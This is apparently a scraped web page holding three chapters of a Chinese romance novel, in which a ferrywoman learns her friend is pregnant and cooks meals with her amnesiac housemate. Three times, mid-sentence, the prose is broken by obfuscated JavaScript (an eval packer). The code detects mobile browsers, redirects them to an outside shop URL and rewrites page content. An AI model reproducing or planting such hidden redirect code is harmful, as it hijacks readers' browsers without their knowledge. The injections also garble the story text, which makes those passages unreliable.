乔乔哀叹:“你盼着我点好吧。” 屋内静了一瞬,乔乔扭头看向阿滢,接下来说的话不啻惊雷。 “我怀孕了。” 阿滢惊讶得险些从榻上弹走。 “你不是没成婚吗?”阿滢被这么一炸,脑子很乱,想到什么说什么,“还是说这几个月你成婚了?怎么,怎么没叫我吃喜酒?” 乔乔捂脸,“什么跟什么,我成婚当然要请你吃喜酒了,没请你吃那不就是没成婚嘛。” 好像在说绕口令。 两人俱是一顿,相视无言。 乔乔借口烧水喝,准备溜到灶房,被阿滢一把逮回来。可阿滢一想到乔乔怀有身孕,便不敢捉弄她挠她痒。 “现在全天下只有你知道我有身孕,阿滢,你要帮我瞒着,就算我爹娘问你也绝不能承认。” 乔乔见好友一脸担心,实也瞒不下去,遂缓缓道来。 孩子爹是知府公子,姓黄名潇。因乔乔爹是知府的师爷,乔家一家得以住在府衙后院,一来二去乔乔就与黄潇熟识。 至于孩子,完全是意外。那是一个月黑风高的晚上,两人月下对饮—— 阿滢打断道:“月黑风高不是月色黯淡几乎看不见吗,怎么月下对饮啊?” “这不是重点。”乔乔摆手示意她先听她讲。 不过,月下对酌之后发生的事怎么好意思讲! 乔乔欲盖弥彰地清清嗓,言简意赅:“反正我们睡到一张床上去了,就有了孩子。” 这下子阿滢又惊了。 “睡在一起就会有孩子吗?” 那她和十七住在同一屋檐下,岂不是也会突如其来有个孩子?! 阿滢脸色变了又变,苦于对此实在不甚了解,她拿捏着措辞,谨慎问道:“多久会有?” 这下轮到乔乔呆滞了。“施滢我现在真想把你脑瓜撬开看看里面到底是什么,谁知道多久会有啊,反正就是会有,现在小孩就在我肚子里。你担心个什么劲,不是说十七睡灶房你睡卧房他从来没有进过你的房间吗,那你们不会有,得睡在一张床上才会有。” 又开始绕口令了。 阿滢表情变得严肃,把乔乔的话在脑子里盘了一遍才放下心来。 太好了,不会有小孩。 “嗯嗯,我懂了,你继续讲。” 乔乔怀疑阿滢真懂假懂,瞅了她好几眼才继续说:“我还没告诉他,又怕我娘瞧出端倪,哦还有就是想你了,所以我就跑回芙蓉村。” 阿滢问:“你要在村里生下这个孩子?” 乔乔大骇,“不是,我,我还没想好,不知道要不要这个孩子。黄潇……黄潇家里不会同意我过门的。要是生下孩子,我只能一个人养它,爹娘也可能被我气死。” 未婚而有孕,确实会被人说三道四,哪怕乔家起先是渔民,很多事不那么古板。 阿滢问为何不同意过门。 乔乔看着好友,欲言又止,好半天才说:“你没在岸上住过,不知道情况,岸上的人规矩很多,成亲讲究门当户对。你知道何为门当户对吗?宅第门口的石墩子、门的大小、门楣上的短木,这些都和宅子主人的官职、地位相关,路人看一眼就知道。黄潇的父亲是知府大人,我爹是小小师爷,这就是门不当户不对。” 石墩子谓为门当,短木谓为户对,寻常人家哪有这种东西,篱笆一圈就是围墙,柴门一竖就是大门。 “那当初黄潇就不该招惹你。”阿滢道。 她语气很重,要是黄潇本人在眼前,阿滢肯定要揍他一顿。 门当户对,乔乔去了几个月就明白的道理,黄潇身为知府家的公子,焉能不知? 阿滢越想越着急。 没人比她更知道独自养育孩子有多累。阿娘没有自己的孩子,没有奶水,捡到她之后,挨家挨户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488377|202119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敲门,希望能蹭到几口奶,好让她不会饿死。 手头富裕时,去村市买牛乳羊乳;捉襟见肘时,米汤也能喂。 当时阿娘已经闯荡过江湖,见过世面,却仍然手忙脚乱焦头烂额,而乔乔,今年才十八岁,一直被乔家伯父伯母爱护着长大。倘若真让乔乔一个人养育孩子,太难了。 阿滢问:“这个孩子也有黄家的骨血,他们家难道放任孩子在外面?会不会看在孩子的份上,就同意你进门了?” 她摆渡时常听船客闲谈,知道大户人家很看重血脉,倘若夫妇过不下去,为了孩子也要咬牙忍下。倒推过来,为了孩子,是不是也可以接受乔乔? 乔乔点头,又摇头。 “就算同意我进门,也只有做妾的份。别说这会丢我爹娘的面子,我也不肯。” 阿滢久久没说话。 乔乔往床上一躺,像是累了,眼皮子打架,“我睡一会儿,你先回去吧,十七人生地不熟见你久久不回要着急的。” 阿滢把给她掖好被子,但仍不放心,“我晚上给你送饭,或者你睡醒就去我那,和我一起住。” 乔乔恹恹的,“再说吧。” 阿滢又道:“想不想吃槐花粉?清爽一点,应该不会想吐。” “好。”乔乔喜欢槐花粉,往年自己做,也喜欢阿滢做的。她望着好友,鼻头酸涩,推了一下说:“你再不走我就要哭出来了,快去采槐花,我睡会儿。” 阿滢一步三回头,心想晚些时候要把乔乔接到家里,看着她才能放心。 江边没有槐花,要去村子里采摘。阿滢顺便买了些乔乔爱吃的食材。 这么一打岔,回家就晚了,十七听见开门声几乎是冲了过来。 “哎哟。” 篮子里槐花被撞得漫天四散。 十七眼睫毛上也挂了一朵槐花,他拈下来,看着阿滢,又看看她身后。 “乔姑娘不来了吗?” 阿滢嗯了声,没有提及身孕之事,“乔乔身子不爽利,在她家歇下了。十七,你帮我打下手,我们做些好吃的给乔乔,好不好?” 十七根本想不到自己这么好哄,一句“我们”就让他心里舒坦了,欣然答应。 帮忙的间歇,十七跟阿滢道歉:“我对乔姑娘太凶了,对不住。” “啊?”阿滢完全没有觉得。 但经他这么一提,阿滢想到乔乔说的那句话。十七他心里真有外人自己人之分吗? 可是要按认识的年份算,她和乔乔才算自己人吧。 细想之下阿滢觉得别扭不已,可是她清楚地知道十七没有恶意,他只是个失去记忆的可怜人,对他而言这里就是他的家,把自己当作自己人,也在情理之中。 可是乔乔是她最好的朋友。 阿滢眉头皱成一团也没想出个所以然,她把筷子往十七手里一塞,“你来搅,要搅成透明的才能停下。” 说完,阿滢坐到一边,她打算洗槐花也交给十七完成。 槐花吃法很多,裹面粉蒸来吃、炒鸡蛋、调成肉馅、做成窝头、烙成饼……反正槐花季很长很长,阿滢打算每次都让十七清洗槐花、打下手,最好累到他,好叫他没工夫七想八想。 包括现在的搅淀粉糊,这是个力气活,十七头次做,很容易失败,与往日的优待对比来说,堪成奴役了。 阿滢心想,她可真是心狠手辣。 不过,十七怎么看起来乐在其中,甚至越干越卖力?? 8. 椒蒿羊肉 晚霞满天,晕着说不出的好看颜色,橘黄里掺着金红,似乎又有几丝靛青,层层叠叠,是看不够的风景。 而这些光彩,无一例外投射在十七的身上,发丝、睫毛、侧脸,统统笼罩在柔煦的霞霭中。 之所以看得这么清楚,是因为十七走在她侧前方,却又不会走太快,总保持一个身位的超出。 是在闹别扭吧。 晚饭做好了,槐花粉、椒蒿羊肉、酱烧鱼泡、蛋羹。乔乔现在有身子肯定吃不来鱼泡,因此阿滢把其它菜装进食盒。 可十七非要跟她一起去乔乔家。 阿滢说饭菜凉得快,让他先吃,十七怎么也不肯,非要一起。 阿滢一急,嘴快了,说话重了些,结果十七就不言语了,出门时跟在她后面,下了楼却又走到前面去。 这不是闹别扭是什么? 想到这里,阿滢故意停住步子。 十七也跟着停下,扭头看她,眼神在问:怎么不走? 阿滢笑眯眯:“你走前面,我还以为你认识路呢。” 十七脸色泛青,看得出不是晚霞的余晖,而是真有气到他。阿滢见状嘿嘿笑出声,“你别板着脸了,一会儿乔乔看了还以为我欺负你。” “乔乔是我的朋友,你也是我的朋友,你非要争个高低吗?” 十七瞬间偃旗息鼓,“我没有。” 他眼睫低垂着,深深知道自己有点过分,阿滢救了他的命,按理说他应该视她为再生父母,哪有忤逆父母的道理。 可是见阿滢与乔乔在一起有说有笑,莫名就有一种恐慌袭来,害他头脑不清醒,各种拿乔。 “对不起。” 十七想,阿滢本可以直接把他轰出门去,但她没有那么做,而是态度很好地跟他说话,那道酱烧鱼泡也是专门为他做的。阿滢对他很好。 忽然,阿滢踮起脚尖,她的脸庞就这么出现在他面前。而阿滢的手也不知什么时候放到他头顶,她,轻轻抚了抚。 “好乖好乖。”阿滢说。 十七这时候开始难为情了,不停往后退,脸也转过去,就是不看阿滢。 阿滢无拘的笑声响彻江畔。 “快点走了,饭菜要凉了!” “好。” 这回,两人并排走,仔细看十七落后半步,究其原因是他不知道乔家何在。 乔家点着油灯,光亮朦朦胧胧透出来,隐约有人影晃动。阿滢知道这是乔乔醒了,便扬声唤:“我带十七来了,乔乔,我们进来了嗷。” 推门时,十七忽然说:“还有一人。” 阿滢一头雾水,手上动作更快,已经把门推直。 乔乔和一男子抱在一起。不,准确来说,是男子拦腰抱着她,面部表情狰狞,乔乔口中还不断说着“放开我”。 阿滢脑子嗡嗡,把食盒甩给十七,大步上前,抓起陌生男子的衣领就要往地上掼。 “哎哎,阿滢,别,这是黄潇……” 乔乔终究说晚了一步。阿滢已经把他们二人分开,而黄潇也摔在地上,懵懵地扶着脑袋。待反应过来,黄潇怒气冲冲地瞪着阿滢,“你就是施滢。” 听起来语气不善,而且他嗓门大,一喊简直方圆几里都听得见。 十七见状快步冲过去,挡在阿滢面前。 “哎呀你们这是干嘛呀。”乔乔哭笑不得,扶额道:“黄潇站起来,向阿滢道歉。” 别人使唤不了,黄潇还是听她话的。 “施姑娘,久闻大名,黄某这厢有礼。”黄潇面无表情说着客套话,又暗自看向十七。他不傻,看得出十七和施滢是一起的,只是先前没听乔乔说起过,略微好奇,但也只是略微,他瞥了眼就收回目光,跑到乔乔身边,将她小心扶到床上。 这时阿滢也眼尖地注意到黄潇衣袖上好几个牙印,这得咬得多狠,才能在衣料上留下印子。 啊,怪不得黄潇刚才面目狰狞,原来是疼的。 阿滢从十七手里接过食盒,对乔乔说:“你喜欢的锅巴饭、椒蒿羊肉,还有槐花粉。” 菜肴一一摆出,还温热着。 乔乔眼前一亮,尔后听阿滢声音带笑:“槐花粉是十七帮忙做的,光是搅糊糊都搅了他半个时辰呢,因为失败了几次。” 失败并不丢人,十七听后没什么特别的反应,老老实实站在一边。 乔乔拿起勺子刚要吃,黄潇冷不丁开口:“槐花性寒,她现在吃不了,你不知道?” 说着,黄潇又打量另外两道菜,煞有介事点评道:“椒蒿是什么,我没听过,类似花椒?麻嘴吗?蛋羹倒是可以吃。” 没等阿滢反应过来,乔乔朝黄潇砸过去一个筷枕,骂道:“你没事找事?我就要吃,我就要吃,阿滢做什么我都吃!你闲的没事就去院子里把地扫了,看看人家十七,都学会做菜了,你呢,淘米都淘不明白。” 寻常人被当着外人面训了都会觉得很是没脸,黄潇竟是例外,他身手敏捷地接住筷枕,坐到乔乔身边去,声音低低而温柔地说:“是我没见识,好乔乔,你跟我讲讲椒蒿是什么,或者我尝尝,看你能不能吃。” 乔乔瞪他,“你是大夫?我能吃什么,不能吃什么,要你批准?” “我当然不是大夫,我是丈夫。”黄潇没皮没脸地赔笑,还自以为天衣无缝地把蛋羹这一较为无害的食物换到乔乔面前,哄道:“我们先吃蛋羹好吗?瞧瞧这羹炖得多好,一看就好吃,来,我喂你。” “羞死人了!!”乔乔直呼受不了,不好意思地看向阿滢和十七。 “你们先回去吧,我明天把食盒还回去。” 阿滢早已被黄潇和乔乔的对话惊得震在原地,还是十七拽了下她的衣袖才回过神。 十七朝乔乔道:“那我们告辞,乔姑娘保重。” 天色已晚,月亮都出来了。 阿滢追着影子踩,玩了片刻扭头看十七,问:“你说两个人看对眼就是他们那样的吗?” “唉你肯定不知道,白问了。”阿滢不等十七回复,率先觉得他呆呆的哪里知道这些,便说踩影子吧,哪有什么危险,他还非要扶着她。 阿滢又道:“我们进门的时候,还以为他俩打起来了,可是说着说着他们又腻到一起。好神奇。” 短短一段路,阿滢踩影子踩了数十次,踩了自己的,也踩了十七的,可把她踩痛快了。 而身边之人冷不丁说:“黄公子无礼。” 阿滢抬头,“嗯?” 十七道:“你烹制饭食,亲自送去,黄公子第一反应竟然是指责。槐花粉,是经乔姑娘同意你才做的,不是吗?就算他不认可槐花粉,于情于理应该等我们走后,再与乔姑娘关起门来单说。” 阿滢开门的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488378|202119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动作一顿,“你不清楚原委,乔乔现在饮食上需要特别注意,不能乱吃东西。要不是黄潇提醒槐花性寒,我都不知道。至于他的态度,确实不太好,但我又不跟他来往,态度好不好,与我又有何干系?” 他俩还没吃饭,饭菜温在锅里。阿滢净手后去盛饭。 十七少见的没帮忙,在原地立了片刻,他说:“乔姑娘有身孕了,对吗?” 阿滢吓了一跳,饭勺都快甩出去,“你怎么知道?” 她不盛饭了,转过身,表情很严肃:“你听谁说的闲话?还有别人知道吗?” 十七摇头,“我猜的。” 乔姑娘大好年华活蹦乱跳一个人,脸上也无病容,何至于处处搀扶?加上黄公子那句“她现在吃不了”,多半就是猜准了。 十七道:“我看黄公子与乔姑娘是郎有情妾有意,又有了孩子,日后少不了纠缠。而你是乔姑娘最好的友人,黄公子理应以礼相待。” “我听懂了,十七,你在为我鸣不平啊。” 先前还说呢,十七把自己当作自家人,好处这不就显现了?只有自家人才会关心自家人。 至于黄潇其人,阿滢现在静下来细思量,不甚放心,“我们明天再去一趟乔乔家。黄潇是知府家的公子,可能脾性傲慢是天生的?我倒是无所谓,他爱说就说,只是担心这人蜜什么刀,背地里欺负乔乔。” “口蜜腹剑。”十七说。 “对对对,口蜜腹剑,原来是剑不是刀。”阿滢拉着十七的手,“别想黄潇了,过来一起盛饭。” 十七敢说他从未试过鱼泡入菜。 不止鱼泡,很多在他看来备菜时就该被舍弃的东西,在阿滢这儿统统可以入菜。他不知这是平洲府的传统风俗,还是老饕阿滢不外传的秘方。 酒液的加入很好地去除腥味。酱是阿滢自制的,一开坛就能闻到浓香,鱼泡鱼籽就这样每一寸每一厘都裹上酱汁,香醇而浓稠,口感绵密。 就连作为点缀而出现的野葱味道也是极好的,十七吃出淡淡清甜,并非饴糖的甜,而是食物本味。 至于那份椒蒿羊肉,别说刚出锅时,光是椒蒿下锅的瞬间,灶房就平地惊雷般蹿出一股奇异的香气。 好像挎着竹篮走进林子,遇见一丛丛香草,茴香、薄荷叶、松针、胡椒……复杂而浓郁。 十七已在阿滢的指点下认识了许许多多野草野菜,却总有疏漏,例如这一味椒蒿。 阿滢说:“它很难辨认,和其它野草长在一起,人走过就走过了,不会注意到,除非蹲下来仔细挑拣。” “而且我发现城里饭馆好像没有拿椒蒿入菜的,”阿滢一副分享秘密的语气,神神秘秘,乌黑的眼眸也亮晶晶的,“所以,它会不会独属于我和乔乔?” 那是她俩小时候的事了,拿乔乔娘的话来说,一天天使不完的劲,在山坡上奔跑,在林子里穿梭,或是一个猛子扎进耒水,和游鱼虾蟹争个高低。 见十七感兴趣,阿滢顺便讲起童年趣事,倒豆子般信手拈来,包括她知道荸荠也叫马蹄之后还趴在地上观察真马的蹄子是不是长得像荸荠。 “那是我们村第一匹马,很稀奇的,全村人都去看了呢。” 十七听了微微一笑,“很想见一见儿时的阿滢。” 那么有意思的小姑娘,任谁见了都会喜欢,都会想与她交朋友。 9. 芝麻糖饼 一大早黄潇过来送还食盒。 他还穿着昨日那身衣裳,头发倒是梳得一丝不苟,精神头也很不错。阿滢看了眼就猜黄潇和乔乔和好了。 “施姑娘,你的厨艺太好了,乔乔没吃完的饭菜我给包圆了。” 言语间还有些意犹未尽,谁能想到看似平平无奇的鸡蛋羹竟那么香滑可口?按乔乔说的拌进去一些米饭,香味更上一层楼! 黄潇打开食盒说:“我去村里买了些早饭,可能比不上你的厨艺,烦请千万笑纳。” 食盒里塞得满满当当,因黄潇拿不准阿滢十七的口味,便见到什么买什么,芝麻糖饼、素馅包子、笋肉包子、高粱馒头……有一户人家在炸肉条,他闻着香,软磨硬泡死皮赖脸买上一份。 阿滢一瞧实在太多了,她和十七根本吃不完,“黄公子破费了,乔乔吃过了吗?这些吃食怕是够我们四人一起吃。” “唉。” 黄潇未语先叹,害得阿滢一下子紧张起来,忙问是不是乔乔动了胎气。 黄潇摇头,“她醒得早,天没亮就醒了,喊饿,我……我手笨,不擅烹饪,只能去村里给她寻吃食。好在有几户渔家起得早,正吃饭呢,我好说歹说饶了几块蒸饼回家。乔乔吃了几口便撂下。” “这不,天光大亮之后,我赶紧去买新的吃食,乔乔进些菜粥,又咬几口包子,胃口终于起来了,但吃的也不算多。”黄潇罕见的有些赧然,“我想是不是施姑娘你的手艺更合乔乔的口味,但要是一日三餐都拜托你,那也太累了……” 说来说去,黄潇也不好意思直说自己媳妇嘴刁。 阿滢是乔乔的好友,有自己的营生,倘若请阿滢给乔乔做饭,一顿两顿还好,顿顿做的话……那把阿滢当什么了。 黄潇越想越羞,自己现学厨艺来不及,总不能眼睁睁看着乔乔饥一顿饱一顿。 “没事啊。”阿滢比他敞亮多了,有什么说什么,“反正我跟十七也要吃饭,多做一份乔乔的累不到我。只是辛苦你来回送饭,有时我忙起来顾不上买菜,也要烦你跑一趟。” 黄潇愣了下,再三确认自己没听错,一叠声说:“太好了太好了。” “买菜是应该的,你提前同我讲需要什么。”黄潇把自己捂了半天的钱袋拿出来,“施姑娘,我不让你白帮忙,你看一日三餐算多少价钱合适?” 在州府任何物什都可以用银钱交易,让人跑腿、布席面也是,黄潇对此习以为常。 只是施姑娘毕竟是乔乔的友人,倘若她推说不谈钱,那么他该用什么回报呢…… 黄潇正忐忑呢,听见阿滢说:“一天算三十文吧。” 竟如此爽快给出定价?黄潇愣怔不已。 从乔乔处获知,施姑娘撑船渡客收费公道,一里四文,二里八文,不及她腰高的孩童不收船资,而一艘小舟可载客七八人。由芙蓉村至仙石村,单程收入最高可达六十四文。 “不成不成,三十文太少了。” “就三十文。” “不成不成。”黄潇恨不得把整个钱袋子都塞给阿滢。 只定三十文的话,别说乔乔知道了骂死他,黄潇自己心里也过意不去。 他急得团团转,忽然眼前一亮,看见十七正在把吃食从食盒里取出,一一摆上矮桌。黄潇伸长脖子喊:“十七你说句话啊,帮我劝劝施姑娘。” 芝麻糖饼的馅儿太足,不小心破了个口子,滚烫的糖汁直往外淌。 十七不疾不徐把破口的糖饼夹到自家碗里,完整的则分给阿滢,随后对黄潇说:“我们家由阿滢说了算。” 黄潇:“……” 阿滢最后拍板:“好了黄公子你快些回去,乔乔一个人在家我不放心。况且再与你论下去,早饭都凉了。” 话说到这个份上黄潇只能告辞。 “阿滢,糖饼好香。”十七带着微微笑意。 “这家糖饼我知道,皮子是拿糯米做的,趁热吃可软乎了。”阿滢坐下,尝了一口,不过她显然更会吃,先吸汁,再吃变得扁塌塌的软糯外皮,别有一番滋味。“它家还有赤豆馅的,做好之后滚上一层黄豆面,下次买给你吃。” 这段时间阿滢看出他喜酸甜。 十七咽下口中的糖饼,“我可以自己买。” 阿滢嗯了声,没有在意。十七却忘不掉黄潇拿出的那只钱袋子,鼓鼓囊囊,拿上拿下的时候不断作响。 “吃完朝食,我去村市卖蓑衣。”十七道。 还有斗笠、蒲扇。 虽然蓑衣卖价更高,但往往高价的物件要难卖些,尤其现在天气晴好,鲜少有人想到预备蓑衣。蚊子腿再小也是肉,还是主卖蒲扇吧。 阿滢说:“好啊,中午记得回来吃饭。” 村里人比十七预想的要和善很多。 只是他面对讲价几乎没有还手能力,回家和阿滢提了才知道顾客口中“回头我推荐朋友来买”只是说说而已。 “我也不懂讲价。”阿滢有一手杀鱼的好功夫却不去卖鱼,正是因为讲价太麻烦。 还是划船好,说定几文钱就是几文钱。 十七幽幽道:“船客不会凫水,不敢还价,唯恐你划到水中央一铲子把人掀翻。” “哈哈哈哈哈哈,你这样的旱鸭子才会这么想吧!”阿滢笑得肚子痛,待缓过来,她再三强调:“不是铲子,是竹篙,是木浆,反正不是铲子,谁用铲子撑船啊?” 话又说回来,杀价还是乔乔拿手。 阿滢提议:“不如我们今天去探望乔乔,再请她教你怎么应对杀价?” “好。” 两人去的正是时候,还没进院子就见黄潇风尘仆仆一脸着急地夺门而出。 “施姑娘,乔乔肚子疼,你认不认识信得过的大夫?” 附近住的不止乔家一户人家,乔乔在村民眼中还是云英未嫁的姑娘,黄潇声音压低了些,补充道:“最好是不认识乔乔的大夫。” “这有点难。”阿滢速速回想,乔乔爹是捕鱼能手,又通文墨,和村里许多人家都有往来,怕是没有符合条件的大夫。 这时,一直没开口的十七问:“隐痛还是急痛?能坚持到县城吗?” 阿滢扭头看他,“你的意思是,赵婆婆?” 十七道:“赵婆婆与你交好,又甚有医德,找她看诊最合适。” 黄潇立马说应该可以坚持,“你俩熟悉周遭,帮我租马车可以吗?” 阿滢十七旋即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488379|202119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去,可是芙蓉村太小,仅有的几辆马车都被占用,最后两人赶着牛车回来。 黄潇扶着乔乔,见此情形,赶紧回去拿了两件外衫,把乔乔裹起来。“这什么鬼地方,连马车都没有?牛车还没顶棚,把人吹坏了怎么办。” “你给我少说两句!”乔乔觉得自己好多了,但黄潇坚持送她看大夫,他扭头对阿滢道:“我不是怪你,是我口不择言,你别介意。还请施姑娘带路。” 说完,后脑凉凉的,像是被人瞪了一眼。 黄潇回过身,见十七帮忙锁门,一副纯良无害模样。 一行人就这样赶着牛车来到县西金鱼巷。 赵婆婆一番望闻问切,说是季节变换,肠胃不适,于胎像无碍。 黄潇急吼吼问:“还请您告知如何调理,倘若喝药,会伤到孩子吗?” 赵婆婆瞅他一眼,“我开两贴药,一日两回,不伤。乔姑娘瘦削,胎儿不宜过大,吃喝如同往常即可,无须大补。” 说完,赵婆婆看向十七,“你的药方该换了,今日既亲自过来,我索性给你扎几针。” 黄潇哎了声,嘟囔着他还有许多疑问没问完。 这样毛毛躁躁的人赵婆婆见多了,她老神在在地问:“还有何疑问?” 黄潇还真的掰着手指数,一会儿问当季的槐花香椿竹笋马兰头能不能吃,一会儿问为何乔乔时不时腿抽筋早上疼醒。 站在一旁的阿滢和十七咬耳朵,“他果然还惦记槐花。你说那碗槐花粉会不会都被他吃了?” “……”十七看着黄潇认真过头的模样,莫名想到某些时刻的自己。他同样悄声回阿滢:“那天早上他送朝食态度还可以,我本想原谅他。” 阿滢咋舌,“原谅”?那就是说十七真的因为黄潇的态度而生过气? 正好此时没有旁的病人,赵婆婆揣着看好戏的心态,慢悠悠叮嘱养胎的注意事宜,堪称事无巨细。 而黄潇借来纸笔,当真一字一句记下。 吃过药丸肚子已经舒坦的乔乔则看不过去,搡着他胳膊说:“够了够了,谁家当爹的像你这样紧张?真按这些条条框框照做,日子还过不过了?” 黄潇不敢置信地看着她,“这可是我们第一个孩子!” “要死了你,谁要跟你有二个三个……” 阿滢压不住笑,领十七到院子里看猫。 这几只花猫不是赵婆婆养的,但它们时不时过来开小灶,个个吃得脸圆肚也圆,或躺或卧晒太阳,惬意极了。 “哎呀,别说猫咪了,晒着太阳我都想眯瞪一会儿了。”阿滢说着,自然而然靠在十七肩上。 眼睛也顺势闭上,说:“黄潇估计还要很久,等他们出来再叫我。” “……好。” 阿滢坐在十七左边,靠着的是左边的肩,于是乎他整个左边都陷入长久的僵硬。 他抬起尚能活动的右手,倏地又放下。 “喵。”脚边懒散的猫咪忽然翻身,把十七吓了一跳。这时,任何风吹草动都能瞬间冻住他的动作。 半晌,十七抬手,把垂在阿滢脸侧的碎发轻轻拨到一旁。 呼,完成了。 帮她捋头发,没那么难。